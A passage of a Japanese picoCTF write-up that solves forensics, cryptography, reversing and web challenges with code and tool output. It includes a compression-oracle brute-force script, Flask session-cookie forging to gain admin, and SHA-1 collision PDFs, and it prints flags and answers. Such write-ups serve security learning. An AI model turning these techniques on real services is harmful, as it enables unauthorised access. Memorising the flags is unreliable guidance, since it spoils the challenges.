 picoCTF{97211eec9228bb247d762527bace8b3e4ec2110c8834af12aefd3c552cdc21b2}
 picoCTF{29679910c47d8afc737a1c21d7bf758cd3d81001bdbeec8c6f81a6ad88fdc279}
 picoCTF{996979e9540be0fe9320e80eb6336047f8140a80830700907b99741310acf08f}
 picoCTF{8b272a18c1005c95a420d4a0df426cb8441d29eb96210493a96fa25ac5e657aa}
 picoCTF{e1d0a752dc71121200f4bcb1b8cc2e03e84488df229b82196afbe0045ef025c4}
 picoCTF{0ba511844a2ab38fe0709bcdb2b8bdfeb37a0b466dc902e92062db4c2b3f455c}
 picoCTF{dadda48e855421e14597ffc727943b57efd8c9a15d10bfd491f0390659162fb1}
 picoCTF{f4dd87795395c74f3083f8caa4ec22d1531281554a6003d1c47c5f0370984ab6}
 picoCTF{0f30a584680db9e70c7e1c6ca954c2f023b77f3fd2b05bd9aeee6e00dc4da5d7}
 picoCTF{fe83bcb6cfd43d3b79392f6a4232685f6ed4e7a789c2ce559cf3c1ab6adbe34b}
 picoCTF{715e4d0d167e862af8825f62d3f4ff8aef20443445a06b1c68572390a2825d29}
 picoCTF{7654ee03f31576e8ed44799fc4fa5ee053d35050000502e878d1fb8022618923}
 picoCTF{068606b5faca0491d97a2b46fdca7f6f81acbd909ce691077fe77e03a3c0939a}
 picoCTF{64ab681ffed33c49b5e8ae0576e22857e9a10ae30cdbee415fb514b84aa58aea}
 picoCTF{8ae3995e726f8f2c3724e2e0522f038aba6649facd378d8965c648233d79a252}
 picoCTF{1c125d267b5811cd25cca2d517e022270aa60f3c8461f4097c685bcca637a6a9}
 picoCTF{824c298d14e1fe369df991af72ab0725d2e7c7d05b9655486873ccc467f4bd6b}
 picoCTF{e1d8dd1b73d5fd7704a16c924ddee69dc6bf9beef14cc3a10142704b81f0fa07}
 picoCTF{82d260fe0670d551347b164c54183d996c52ebeebb1ccfcc2c2ebb91268dc944}
 picoCTF{74876fc61ebc9c902f8983979cd4c21206c69a23f0dcc0817e150dd75e446838}
 picoCTF{711d3893d90f100c15e10ef4842abeed3a830f8237c1257cd47389646da97810}
 picoCTF{49c52d1f30973f90716bbcbe3633e11cf70b9a31ed785871ccb80473302a59db}
 picoCTF{89d93dbb96a3857ac87ba0cea3c10a9e4c7b34d79b2edb463cef030d34297bd0}
 picoCTF{5ceacdce54c13a3fddfcfb225a00247304fbb15f29f9c90434383f277567992d}
 picoCTF{c22a40a43ed7034bd935805f59603a46d3a1f2d6b8e31281eb0721597b6c6d62}
 picoCTF{6071bca5da06d4f975a52357cda0cd6f0614787c1c70b1b7e1af2c7fb272d281}
 picoCTF{65a8b141f019506feea38a119988ad645bcab1a5fa8693efdf26e1fd3cb44b4c}
 picoCTF{d7f5cb78a895d3805601522b95d599cb6d2689c6a856e3fbee6aac2fca0c20f3}
 picoCTF{739bb0f0aa17331819a0e942d37bfee757c8d9cd089cdfe32509027b92485213}
 picoCTF{7a891e2c4ad0da374bc15ad7ad0ee081077dd376f06152781f780c201691713d}
 picoCTF{a97d3ee943221888bd1157429e4a00ed5e9905a610e64664f7e36c7f5e0a4ef9}
 picoCTF{3cf1e22d489fcfb6bb312a34f46c8699989ed043406134331452d11ce73cd59e}
 picoCTF{c38d2d74dc21bbb2e3a95b52e2354ee523379cfe4f8b348c9c5b5d7bd7cb871b}
 picoCTF{e4dc886c39a53ff118bf29041067cde48dcebb89b3dae61a8aba6187d671999a}
 picoCTF{9fbd0d18aa1abfd289ba977ae4354b821cc74591260889afba1b0b6e7763aa31}
 picoCTF{3fc0801bcd36336a2c030c6e5f452f5795be1d562e00411365fb64c6a2f688ef}
 picoCTF{4aa86643eb2ddb5709725344cd0e63e6c52e35c2e64a39f3a4a0ee7bbd5d3ade}
 picoCTF{4af8df415d17e6df99a5efddebcb33a68c0c8bf26d481eed16b5f77675030d7f}
 picoCTF{e4f52a0d2a924906ac102a32c52ab9128bf9cd6e5294518ad3ed6748f853b0ab}
 picoCTF{cc104e74a9f50164ee5652d168ef38a21b7a2d5e3196062e669e3a2705f1a0d3}
 picoCTF{2aac620b0bdd2e6946d62c5d232ca32ba1f5a9d8ec82c060778b54ffeb8fbd1f}
 picoCTF{4e55be07159def207afc142954f5673a0651d5f32f5f4090fb774d960628e352}

まあ全てハズレである。パケットを眺めるとDNSのパケットにbase64らしき文字列が見つかる。

DNSパケット

DNSクエリとレスポンスのドメイン名にbase64らしき文字列が紛れている。スクリプトは割愛するが、試しに結合してみてもflagは出てこなかった。

特定IPへのDNSパケット

DNSパケットの送り先を見ると、8.8.8.8以外にも複数あり、18.217.1.57だけを抜き出すと、それっぽいbase64文字列になる。flagがpicoCTF...から始まるとすれば、base64はcGlj...から始まるはずなので、当たりだろう。

base64を抜き出すとcGljb0NURntkbnNfM3hmMWxfZnR3X2RlYWRiZWVmfQ==、デコードするとpicoCTF{dns_3xf1l_ftw_deadbeef}になる。

Disk, disk, sleuth! (110point)

dds1-alpine.flag.img.gzが配布される。解凍するとdds1-alpine.flag.imgが出てきて、中身はLinuxのディスクイメージになっている。FTK Imagerでイメージファイルごと開いてpicoCTFで全体検索をかけるだけ。

solve

picoCTF{f0r3ns1c4t0r_n30phyt3_a011c142}

Play Nice (110point)

playfair.pyが配布される。スクリプト自体はncで接続すると動いている。

playfair.py
#!/usr/bin/python3 -u
import signal

SQUARE_SIZE = 6


def generate_square(alphabet):
        assert len(alphabet) == pow(SQUARE_SIZE, 2)
        matrix = []
        for i, letter in enumerate(alphabet):
                if i % SQUARE_SIZE == 0:
                        row = []
                row.append(letter)
                if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
                        matrix.append(row)
        return matrix

def get_index(letter, matrix):
        for row in range(SQUARE_SIZE):
                for col in range(SQUARE_SIZE):
                        if matrix[row][col] == letter:
                                return (row, col)
        print("letter not found in matrix.")
        exit()

def encrypt_pair(pair, matrix):
        p1 = get_index(pair[0], matrix)
        p2 = get_index(pair[1], matrix)

        if p1[0] == p2[0]:
                return matrix[p1[0]][(p1[1] + 1)  % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1)  % SQUARE_SIZE]
        elif p1[1] == p2[1]:
                return matrix[(p1[0] + 1)  % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1)  % SQUARE_SIZE][p2[1]]
        else:
                return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]

def encrypt_string(s, matrix):
        result = ""
        if len(s) % 2 == 0:
                plain = s
        else:
                plain = s + "meiktp6yh4wxruavj9no13fb8d027c5glzsq"[0]
        for i in range(0, len(plain), 2):
                result += encrypt_pair(plain[i:i + 2], matrix)
        return result

alphabet = open("key").read().rstrip()
m = generate_square(alphabet)
msg = open("msg").read().rstrip()
enc_msg = encrypt_string(msg, m)
print("Here is the alphabet: {}\nHere is the encrypted message: {}".format(alphabet, enc_msg))
signal.alarm(18)
resp = input("What is the plaintext message? ").rstrip()
if resp and resp == msg:
        print("Congratulations! Here's the flag: {}".format(open("flag").read()))

# https://en.wikipedia.org/wiki/Playfair_cipher

ncで接続すると暗号文が降ってくる。

ncで表示された暗号文

ソースコードの最後にあるようにこれはPlayfairと呼ばれる暗号で、alphabetが暗号キーに相当しているので適当なオンラインのchiperを使えば解ける。例えば https://www.dcode.fr/playfair-cipher 。

solve

Some Assembly Required 2 (110point)

Some Assembly Requiredシリーズ。入力フォームのあるWebページと難読化されたJavaScriptが与えられる。画像はSome Assembly Required 1と同じなので割愛。

同様にGoogleChromeのF12からWebAssemblyのコードを表示させる。

WebAssembly

今度はflagが暗号化されているので簡単に見つけることはできない。copy_char関数の赤枠で囲った部分を見ると、入力文字を8でXOR演算していることがわかる。そこでもう一度8でXOR演算させるコードをJavaScriptで書いた。

solve.html
<script>

var input = "xakgK\5cNs>n;jl90;9:mjn9m<0n9::0::881<00?>u";
var output = "";
for(i=0; i<input.length; i++)output += String.fromCharCode(8 ^ input.charCodeAt(i));
document.write(output);

</script>

1文字だけ範囲外の\5が入っていたがとりあえず無視して実行すると、picoC kF{6f3bd18312ebf1e48f12282200948876}。Tの部分が\5なので直してあげれば、picoCTF{6f3bd18312ebf1e48f12282200948876}

gogo (110point)

実行ファイルのenter_passwordが配布され、サーバー上で動作している。パスワードを入力すると実行ファイルの内部で判定が行われているので、その部分を調査する。

enter_password decompile
void main.checkPassword(int param_1,uint param_2,undefined param_3)

{
  uint *puVar1;
  uint uVar2;
  int iVar3;
  int *in_GS_OFFSET;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined4 local_28;
  undefined4 local_24;
  byte local_20 [28];
  undefined4 uStack4;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (register0x00000010 < (undefined *)*puVar1 ||
      (undefined *)register0x00000010 == (undefined *)*puVar1) {
    uStack4 = 0x80d4b72;
    runtime.morestack_noctxt();
    main.checkPassword();
    return;
  }
  if ((int)param_2 < 0x20) {
    os.Exit(0);
  }
  FUN_08090b18(0);
  local_40 = 0x38313638;
  local_3c = 0x31663633;
  local_38 = 0x64336533;
  local_34 = 0x64373236;
  local_30 = 0x37336166;
  local_2c = 0x62646235;
  local_28 = 0x39383338;
  local_24 = 0x65343132;
  FUN_08090fe0();
  uVar2 = 0;
  iVar3 = 0;
  while( true ) {
    if (0x1f < (int)uVar2) {
      if (iVar3 == 0x20) {
        return;
      }
      return;
    }
    if ((param_2 <= uVar2) || (0x1f < uVar2)) break;
    if ((*(byte *)(param_1 + uVar2) ^ *(byte *)((int)&local_40 + uVar2)) == local_20[uVar2]) {
      iVar3 = iVar3 + 1;
    }
    uVar2 = uVar2 + 1;
  }
  runtime.panicindex();
  do {
    invalidInstructionException();
  } while( true );
}

実行ファイルをGhidraにかけてmain.checkPassword関数の逆コンパイル結果を出力した。まず長さ0x20未満でos.Exit(0);で終了するため、パスワードは32文字となる。

if ((*(byte *)(param_1 + uVar2) ^ *(byte *)((int)&local_40 + uVar2)) == local_20[uVar2])

パスワードの文字を比較している部分は上記の箇所で、入力文字列に何らかの値をXORして別の何らかの値と比較している。gdb-pedaを起動して、XOR部分(0x080d4b26)とCMP比較部分(0x080d4b30)にbreakpointを張って動作させてみる。

gdbによるcmp命令部分の解析

画像は比較部分のもの。al(EAX)とbl(EBX)を比較しており、各値を確認することができる。EAXの値はXORをしたあとのもので、XOR部分を見ると引数がわかる。またstackに計算と比較に使用している値の一部が見えており、以後32回ループさせれば、XORとCMPに入力される値がわかる。

XOR:861836f13e3d627dfa375bdb8389214e
CMP:JSG]AE\x03T]\x02Z\nSWE\r\x05\x00]UT\x10\x01\x0eAUWKEPF\x01

これらをXOR演算すれば正しいパスワードを得ることができる。

solve.py
from Crypto.Util.number import bytes_to_long, long_to_bytes

xor = bytes_to_long(b"861836f13e3d627dfa375bdb8389214e")
comp = bytes_to_long(b'JSG]AE\x03T]\x02Z\nSWE\r\x05\x00]UT\x10\x01\x0eAUWKEPF\x01')
password = long_to_bytes(xor ^ comp)
print(password)

結果はreverseengineericanbarelyforward。ncでサーバーに接続して入力する。

solve

flagが手に入った。なおWhat is the unhashed key?と訊かれるので、以下のようにハッシュデータベースで861836f13e3d627dfa375bdb8389214eを検索した。

hashes.com

ARMssembly 3 (130point)

ARMssemblyシリーズ。アセンブラが書かれたchall_3.Sが配布され、このプログラムの引数に2541039191を与えたときの出力値を調べる。

chall_3.S
        .arch armv8-a
        .file   "chall_3.c"
        .text
        .align  2
        .global func1
        .type   func1, %function
func1:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        str     wzr, [x29, 44]
        b       .L2
.L4:
        ldr     w0, [x29, 28]
        and     w0, w0, 1
        cmp     w0, 0
        beq     .L3
        ldr     w0, [x29, 44]
        bl      func2
        str     w0, [x29, 44]
.L3:
        ldr     w0, [x29, 28]
        lsr     w0, w0, 1
        str     w0, [x29, 28]
.L2:
        ldr     w0, [x29, 28]
        cmp     w0, 0
        bne     .L4
        ldr     w0, [x29, 44]
        ldp     x29, x30, [sp], 48
        ret
        .size   func1, .-func1
        .align  2
        .global func2
        .type   func2, %function
func2:
        sub     sp, sp, #16
        str     w0, [sp, 12]
        ldr     w0, [sp, 12]
        add     w0, w0, 3
        add     sp, sp, 16
        ret
        .size   func2, .-func2
        .section        .rodata
        .align  3
.LC0:
        .string "Result: %ld\n"
        .text
        .align  2
        .global main
        .type   main, %function
main:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        str     x1, [x29, 16]
        ldr     x0, [x29, 16]
        add     x0, x0, 8
        ldr     x0, [x0]
        bl      atoi
        bl      func1
        str     w0, [x29, 44]
        adrp    x0, .LC0
        add     x0, x0, :lo12:.LC0
        ldr     w1, [x29, 44]
        bl      printf
        nop
        ldp     x29, x30, [sp], 48
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
        .section        .note.GNU-stack,"",@progbits

前回と同じく64bitのARMになっているので、aarch64-linux-gnuでクロスコンパイルする。

aarch64-linux-gnu-as -o chall_3.o chall_3.S

前回と同じくGhidraに読ませた。

chall_3.o decompile
ulonglong main(undefined8 param_1,longlong param_2)

{
  uint uVar1;
  ulonglong uVar2;
  
  uVar1 = atoi(*(char **)(param_2 + 8));
  uVar2 = func1(uVar1);
  uVar1 = printf("Result: %ld\n",uVar2 & 0xffffffff);
  return (ulonglong)uVar1;
}


ulonglong func1(uint param_1)

{
  ulonglong uVar1;
  uint local_14;
  uint local_4;
  
  local_4 = 0;
  local_14 = param_1;
  while (local_14 != 0) {
    if ((local_14 & 1) != 0) {
      uVar1 = func2(local_4);
      local_4 = (uint)uVar1;
    }
    local_14 = local_14 >> 1;
  }
  return (ulonglong)local_4;
}

ulonglong func2(int param_1)

{
  return (ulonglong)(param_1 + 3);
}

whileループが作られており、そろそろ手計算するのも面倒なのでJavaScriptでfunc1関数の内容を書き起こした。

solve.html
<script>
var input = 2541039191;

var L4 = 0;
var L14 = input;

while(L14>0) {
        if((L14 & 1)!=0) {
                L4 += 3;
        }
        L14 = L14 >>> 1;
        console.log(L14);
}

document.write(L4);

</script>

実行させると出力は57。回答は8桁の16進数となっているので、flagはpicoCTF{00000039}

Compress and Attack (130point)

compress_and_attack.pyが配布され、ncで接続すると動作している。

compress_and_attack.py
#!/usr/bin/python3 -u

import zlib
from random import randint
import os
from Crypto.Cipher import Salsa20

flag = open("./flag").read()


def compress(text):
    return zlib.compress(bytes(text.encode("utf-8")))

def encrypt(plaintext):
    secret = os.urandom(32)
    cipher = Salsa20.new(key=secret)
    return cipher.nonce + cipher.encrypt(plaintext)

def main():
    while True:
        usr_input = input("Enter your text to be encrypted: ")
        compressed_text = compress(flag + usr_input)
        encrypted = encrypt(compressed_text)
        
        nonce = encrypted[:8]
        encrypted_text =  encrypted[8:]
        print(nonce)
        print(encrypted_text)
        print(len(encrypted_text))

if __name__ == '__main__':
    main() 

入力されたusr_inputに対して、flag+usr_inputと連結してzlib圧縮をかけたものをストリーム暗号のSalsa20で暗号化した結果を出力する。乱数にはos.urandomを使っており隙がない。

スクリプトの実行画面

ncで接続、暗号化したい文字列を入力すると、nonce値、暗号文、暗号文の長さの3つを出力する。暗号文の長さがヒント。暗号化前にflagと入力文字列をつなげて圧縮しており、入力文字列がflagと同じ文字列の時に圧縮率が最も高くなって文字数が最小になるはずだ。

picoCTF{入力時の出力

flagはpicoCTF{まではわかっているので、これを暗号化すると文字数は48になる。以後、正しいflagをpicoCTF{*******...と入力していっても文字数は48のままになるので、文字数が増えない入力を総当たりしてflagを入手できる。

solve.py
from pwn import *

flag = "picoCTF{"
#strs = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
strs = '_abcdefghijklmnopqrstuvwxyz}'

p = False
io = remote('mercury.picoctf.net',50899)
io.recvuntil("Enter your text to be encrypted:")
io.sendline(flag)
io.recvline()
io.recvline()
lenMAX = io.recvline()

for i in range(99):
        p = False
        print(flag)
        io.recvuntil("Enter your text to be encrypted:")
        for j in strs:
                io.sendline(flag + j)
                io.recvline()
                io.recvline()
                length = io.recvline()
                if length == lenMAX:
                        flag += j
                        p = True
                        break
        if p==False:
                break;
        if j == "}":
                break;
io.close()
print("FLAG:"+flag)

総当たりするPythonスクリプト。有効なASCIIコード全体でやったところタイムアウトが起きたので、最初の方の出力結果を見て必要な文字に絞っている。

solver

Disk, disk, sleuth! II (130point)

Disk, disk, sleuth!第二弾。dds2-alpine.flag.img.gzが配布される。解凍するとdds2-alpine.flag.imgが出てきて、中身はLinuxのディスクイメージになっている。同じようにFTK Imagerでイメージファイルごと開いてpicoCTFで全体検索をかけるが今度は引っかからない。ファイル名down-at-the-bottom.txtがわかっているのでFTKでファイルリストを出力して場所を調べる。

ファイルリスト

場所がわかったのでファイルを確認。

solve

picoCTF{f0r3ns1c4t0r_n0v1c3_0ba8d02d}

Let's get dynamic (150point)

アセンブラファイルchall.Sが配布される。gccで書かれているのでとりあえずgccでコンパイル。

gcc chall.S -o chall.o

gdb-pedaで出力されたchall.oを開いてdebugする。main関数を表示。

disass main
chall.o disAssembly
Dump of assembler code for function main:
   0x00005555555547ca <+0>:     push   rbp
   0x00005555555547cb <+1>:     mov    rbp,rsp
   0x00005555555547ce <+4>:     push   rbx
   0x00005555555547cf <+5>:     sub    rsp,0x128
   0x00005555555547d6 <+12>:    mov    DWORD PTR [rbp-0x124],edi
   0x00005555555547dc <+18>:    mov    QWORD PTR [rbp-0x130],rsi
   0x00005555555547e3 <+25>:    mov    rax,QWORD PTR fs:0x28
   0x00005555555547ec <+34>:    mov    QWORD PTR [rbp-0x18],rax
   0x00005555555547f0 <+38>:    xor    eax,eax
   0x00005555555547f2 <+40>:    movabs rax,0x396c109a7067b614
   0x00005555555547fc <+50>:    movabs rdx,0x32ea1ab1495990f0
   0x0000555555554806 <+60>:    mov    QWORD PTR [rbp-0x90],rax
   0x000055555555480d <+67>:    mov    QWORD PTR [rbp-0x88],rdx
   0x0000555555554814 <+74>:    movabs rax,0xd09aa897d230c8fe
   0x000055555555481e <+84>:    movabs rdx,0x2c227b84b00f7d0b
   0x0000555555554828 <+94>:    mov    QWORD PTR [rbp-0x80],rax
   0x000055555555482c <+98>:    mov    QWORD PTR [rbp-0x78],rdx
   0x0000555555554830 <+102>:   movabs rax,0xb0a880f7d99ea817
   0x000055555555483a <+112>:   movabs rdx,0xc8f18206086afe7c
   0x0000555555554844 <+122>:   mov    QWORD PTR [rbp-0x70],rax
   0x0000555555554848 <+126>:   mov    QWORD PTR [rbp-0x68],rdx
   0x000055555555484c <+130>:   mov    WORD PTR [rbp-0x60],0x61
   0x0000555555554852 <+136>:   movabs rax,0x563f52ce0f15cd77
   0x000055555555485c <+146>:   movabs rdx,0x719435c3652ef38f
   0x0000555555554866 <+156>:   mov    QWORD PTR [rbp-0x50],rax
   0x000055555555486a <+160>:   mov    QWORD PTR [rbp-0x48],rdx
   0x000055555555486e <+164>:   movabs rax,0x8bec9fe9be05a4c9
   0x0000555555554878 <+174>:   movabs rdx,0x521c05fe8d590431
   0x0000555555554882 <+184>:   mov    QWORD PTR [rbp-0x40],rax
   0x0000555555554886 <+188>:   mov    QWORD PTR [rbp-0x38],rdx
   0x000055555555488a <+192>:   movabs rax,0xdbf1c3a6dadcef7b
   0x0000555555554894 <+202>:   movabs rdx,0xc4fc8b585631f076
   0x000055555555489e <+212>:   mov    QWORD PTR [rbp-0x30],rax
   0x00005555555548a2 <+216>:   mov    QWORD PTR [rbp-0x28],rdx
   0x00005555555548a6 <+220>:   mov    WORD PTR [rbp-0x20],0x3f
   0x00005555555548ac <+226>:   mov    rdx,QWORD PTR [rip+0x20075d]        # 0x555555755010 <stdin@@GLIBC_2.2.5>
   0x00005555555548b3 <+233>:   lea    rax,[rbp-0xd0]
   0x00005555555548ba <+240>:   mov    esi,0x31
   0x00005555555548bf <+245>:   mov    rdi,rax
   0x00005555555548c2 <+248>:   call   0x5555555546a0 <fgets@plt>
   0x00005555555548c7 <+253>:   mov    DWORD PTR [rbp-0x114],0x0
   0x00005555555548d1 <+263>:   jmp    0x555555554915 <main+331>
   0x00005555555548d3 <+265>:   mov    eax,DWORD PTR [rbp-0x114]
   0x00005555555548d9 <+271>:   cdqe   
   0x00005555555548db <+273>:   movzx  edx,BYTE PTR [rbp+rax*1-0x90]
   0x00005555555548e3 <+281>:   mov    eax,DWORD PTR [rbp-0x114]
   0x00005555555548e9 <+287>:   cdqe   
   0x00005555555548eb <+289>:   movzx  eax,BYTE PTR [rbp+rax*1-0x50]
   0x00005555555548f0 <+294>:   xor    edx,eax
   0x00005555555548f2 <+296>:   mov    eax,DWORD PTR [rbp-0x114]
   0x00005555555548f8 <+302>:   xor    eax,edx
   0x00005555555548fa <+304>:   xor    eax,0x13
   0x00005555555548fd <+307>:   mov    edx,eax
   0x00005555555548ff <+309>:   mov    eax,DWORD PTR [rbp-0x114]
   0x0000555555554905 <+315>:   cdqe   
   0x0000555555554907 <+317>:   mov    BYTE PTR [rbp+rax*1-0x110],dl
   0x000055555555490e <+324>:   add    DWORD PTR [rbp-0x114],0x1
   0x0000555555554915 <+331>:   mov    eax,DWORD PTR [rbp-0x114]
   0x000055555555491b <+337>:   movsxd rbx,eax
   0x000055555555491e <+340>:   lea    rax,[rbp-0x90]
   0x0000555555554925 <+347>:   mov    rdi,rax
   0x0000555555554928 <+350>:   call   0x555555554670 <strlen@plt>
   0x000055555555492d <+355>:   cmp    rbx,rax
   0x0000555555554930 <+358>:   jb     0x5555555548d3 <main+265>
   0x0000555555554932 <+360>:   lea    rcx,[rbp-0x110]
   0x0000555555554939 <+367>:   lea    rax,[rbp-0xd0]
   0x0000555555554940 <+374>:   mov    edx,0x31
   0x0000555555554945 <+379>:   mov    rsi,rcx
   0x0000555555554948 <+382>:   mov    rdi,rax
   0x000055555555494b <+385>:   call   0x555555554690 <memcmp@plt>
   0x0000555555554950 <+390>:   test   eax,eax
   0x0000555555554952 <+392>:   je     0x555555554967 <main+413>
   0x0000555555554954 <+394>:   lea    rdi,[rip+0xcd]        # 0x555555554a28
   0x000055555555495b <+401>:   call   0x555555554660 <puts@plt>
   0x0000555555554960 <+406>:   mov    eax,0x0
   0x0000555555554965 <+411>:   jmp    0x555555554978 <main+430>
   0x0000555555554967 <+413>:   lea    rdi,[rip+0xd9]        # 0x555555554a47
   0x000055555555496e <+420>:   call   0x555555554660 <puts@plt>
   0x0000555555554973 <+425>:   mov    eax,0x1
   0x0000555555554978 <+430>:   mov    rcx,QWORD PTR [rbp-0x18]
   0x000055555555497c <+434>:   xor    rcx,QWORD PTR fs:0x28
   0x0000555555554985 <+443>:   je     0x55555555498c <main+450>
   0x0000555555554987 <+445>:   call   0x555555554680 <__stack_chk_fail@plt>
   0x000055555555498c <+450>:   add    rsp,0x128
   0x0000555555554993 <+457>:   pop    rbx
   0x0000555555554994 <+458>:   pop    rbp
   0x0000555555554995 <+459>:   ret    
End of assembler dump.

アドレスがわかったので、復号されたflagがどこかの時点で存在しているはず。memcmpあたりの0x000055555555494bにbreakpointを設定:b *0x000055555555494b

start、runでbreakpointまで実行させる。

solve

picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_14bfa700}

Most Cookies (150point)

Cookiesシリーズ。基本的な構造は同じで、クッキーを入力して当たればI love **** cookies!などと表示される。ソースコードが配布されている。

server.py
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
        if session.get("very_auth"):
                check = session["very_auth"]
                if check == "blank":
                        return render_template("index.html", title=title)
                else:
                        return make_response(redirect("/display"))
        else:
                resp = make_response(redirect("/"))
                session["very_auth"] = "blank"
                return resp

@app.route("/search", methods=["GET", "POST"])
def search():
        if "name" in request.form and request.form["name"] in cookie_names:
                resp = make_response(redirect("/display"))
                session["very_auth"] = request.form["name"]
                return resp
        else:
                message = "That doesn't appear to be a valid cookie."
                category = "danger"
                flash(message, category)
                resp = make_response(redirect("/"))
                session["very_auth"] = "blank"
                return resp

@app.route("/reset")
def reset():
        resp = make_response(redirect("/"))
        session.pop("very_auth", None)
        return resp

@app.route("/display", methods=["GET"])
def flag():
        if session.get("very_auth"):
                check = session["very_auth"]
                if check == "admin":
                        resp = make_response(render_template("flag.html", value=flag_value, title=title))
                        return resp
                flash("That is a cookie! Not very special though...", "success")
                return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
        else:
                resp = make_response(redirect("/"))
                session["very_auth"] = "blank"
                return resp

if __name__ == "__main__":
        app.run()

ソースコードを読むと、Flaskが生成するCookieのvery_authがadminのときにflagを表示してくれる。それにはFlaskの認証を破る必要があるが、secret_keyはクッキーの名前からランダムに選ばれているので、以下のwordlist(cookies.txt)を作った。

cookies.txt
"snickerdoodle"
"chocolate chip"
"oatmeal raisin"
"gingersnap"
"shortbread"
"peanut butter"
"whoopie pie"
"sugar"
"molasses"
"kiss"
"biscotti"
"butter"
"spritz"
"snowball"
"drop"
"thumbprint"
"pinwheel"
"wafer"
"macaroon"
"fortune"
"crinkle"
"icebox"
"gingerbread"
"tassie"
"lebkuchen"
"macaron"
"black and white"
"white chocolate macadamia"

FlaskのCookieを書き換えるためにFlask-Unsignを導入した。適当なクッキーを入力してI love...が表示されたページのsession Cookieのsecret_keyを解読する。

Flask-Unsignによる解読

今回のsecret_keyがわかったので、very_authをadminにしたデータをこのsecret_keyで署名する。

Flask-Unsignによる署名

作ったCookieでsessionを書き換えて再表示すればflag入手。

solve

Some Assembly Required 3 (160point)

Some Assembly Requiredシリーズ。入力フォームのあるWebページと難読化されたJavaScriptが与えられる。画像はSome Assembly Required 1と同じなので割愛。

同様にGoogleChromeのF12からWebAssemblyのコードを表示させる。

WebAssembly

今度はflagの暗号化(i32.const 1024)に加えて、暗号化キー(i32.const 1067)まで設定されており、アセンブラを読んで理解するのは難しくなっている。この画面からスクリプトを1ステップずつ実行してデバッグできるのでやってみる。

WebAssembly Debugger

flagはpicoから始まるはずなので、1文字目に正しいp、2文字目に間違ったaを入れてステップ実行。WebAssemblyの資料( https://ukyo.github.io/wasm-usui-book/webroot/binary-format.html )を見ながら、演算子が使われる部分でどの値が引数になっていくかを確認する。上の画像はp(112)が-99に変換されて読み込まれたときのもの。結果としては5文字の暗号化キーを後ろから順番に入力文字列とXORしていくものになっていた。

これを踏まえてJavaScriptでコードを書く。これは復号ではなく1文字ずつ暗号化を試して一致したものを出力する総当たりになっている。

solve.html
<script>

var enc1 = [157, 110, 147, 200, 178, 185, 65, 139, 159, 144, 140, 98, 197, 195, 149, 136, 52, 200, 147, 146, 136, 63, 193, 146, 199, 219, 63, 200, 158, 199, 137, 49, 198, 197, 201, 139, 54, 198, 198, 192, 144, 0, 0];
var enc2 = [241, 167, 240, 7, 237];

var flag = "";
var strs = "";
for(i=33; i<127; i++)strs += String.fromCharCode(i);

var j = 4;
var tmp;
for(i=0; i<enc1.length; i++) {
        tmp = enc2[j] << 24;
        tmp = tmp >> 24;
        for(k=0; k<strs.length; k++) {
                if(enc1[i] == (0xff & (strs.charCodeAt(k) ^ tmp))) {
                        flag += strs.charAt(k);
                        break;
                }
        }
        j--;
        if(j<0) j+= 5;
}
document.writeln(flag);
</script>

実行結果は、picoCTF{8aae5dde384ce815668896d66b8f16a1}

It is my Birthday 2 (170point)

It is my Birthdayシリーズ第2弾、今度はかの有名なSHA1ハッシュを衝突させる。invite.pdfが配布され、これを元に2つのPDFを作成して、SHA1ハッシュを衝突させる。条件は次の通り。

ヒントとしてSHAttered( https://shattered.io/ )のリンクが張ってあり、ここでSHA1ハッシュが衝突するPDF( shattered-1.pdfとshattered-2.pdf )を入手できる。GoogleのHSA-1のはなし( https://www.slideshare.net/herumi/googlesha1 )を読むと、この2つのPDFファイルは先頭320byteでSHA1ハッシュが衝突しており、以後のバイト列が同じならSHA1ハッシュは常に同じになる。

であれば話は早い。shattered-1.pdfとshattered-2.pdfの末尾にinvite.pdfの末尾1000バイトを貼り付ければよい。

solver

作成した2つのPDFをアップロードすればflagが手に入る。

solve

ARMssembly 4 (170point)

ARMssemblyシリーズ。アセンブラが書かれたchall_4.Sが配布され、このプログラムの引数に2907278761を与えたときの出力値を調べる。

chall_4.o
        .arch armv8-a
        .file   "chall_4.c"
        .text
        .align  2
        .global func1
        .type   func1, %function
func1:
        stp     x29, x30, [sp, -32]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        ldr     w0, [x29, 28]
        cmp     w0, 100
        bls     .L2
        ldr     w0, [x29, 28]
        add     w0, w0, 100
        bl      func2
        b       .L3
.L2:
        ldr     w0, [x29, 28]
        bl      func3
.L3:
        ldp     x29, x30, [sp], 32
        ret
        .size   func1, .-func1
        .align  2
        .global func2
        .type   func2, %function
func2:
        stp     x29, x30, [sp, -32]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        ldr     w0, [x29, 28]
        cmp     w0, 499
        bhi     .L5
        ldr     w0, [x29, 28]
        sub     w0, w0, #86
        bl      func4
        b       .L6
.L5:
        ldr     w0, [x29, 28]
        add     w0, w0, 13
        bl      func5
.L6:
